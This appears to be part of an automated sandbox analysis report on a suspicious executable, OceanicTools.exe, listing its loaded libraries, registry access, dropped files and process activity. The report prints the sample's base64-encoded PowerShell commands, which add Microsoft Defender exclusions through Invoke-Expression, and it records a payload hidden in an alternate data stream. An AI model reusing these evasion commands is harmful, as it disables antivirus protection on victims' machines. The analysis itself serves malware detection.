Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: OceanicTools.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: OceanicTools.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: OceanicTools.exe

Static file information: File size 23282688 > 1048576

Source: OceanicTools.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x11a7200
Source: OceanicTools.exe	Static PE information: Raw size of .data is bigger than: 0x100000 < 0x263800
Source: OceanicTools.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x16f000

Source: OceanicTools.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: OceanicTools.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd@{# Script module or binary module file associated with this manife
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd@{# Script module or binary module file

Suspicious powershell command line found

Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd"
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd"
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd"	Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 11_2_00007FF6350D3C70 GetCurrentProcess,NtQueryInformationProcess,GetTempPathW,wcslen,wcslen,strlen,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wcslen,LdrLoadDll,GetProcAddress,VirtualProtect,LdrUnloadDll,

11_2_00007FF6350D3C70

Source: OceanicTools.exe	Static PE information: section name: .buildid
Source: qflwedtkihuzyxlg.exe.0.dr	Static PE information: section name: .xdata
Source: qflwedtkihuzyxlg.exe_a.dll.11.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848DFD2A5 pushad ; iretd	5_2_00007FF848DFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F1752B push ebx; iretd	5_2_00007FF848F1756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF848DFD2A5 pushad ; iretd	9_2_00007FF848DFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF848F1752B push ebx; iretd	9_2_00007FF848F1756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF848FE19D1 push eax; iretd	9_2_00007FF848FE19F1
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350EAAF6 push rsp; retf	11_2_00007FF6350EAAF9
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350ED857 push rax; iretd	11_2_00007FF6350ED858
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350ED857 push rax; iretd	14_2_00007FF6350ED858
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350EAAF6 push rsp; retf	14_2_00007FF6350EAAF9

Source: C:\Users\user\Desktop\OceanicTools.exe	File created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe			Jump to dropped file
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll			Jump to dropped file

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_00000001400740C0 ExitProcess,OpenMutexA,ExitProcess,CreateMutexA,CreateMutexExA,ExitProcess,ReleaseMutex,CloseHandle,

14_2_00000001400740C0

Hooking and other Techniques for Hiding and Protection

Creates files in alternative data streams (ADS)

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

File created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll

Jump to behavior

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\OceanicTools.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
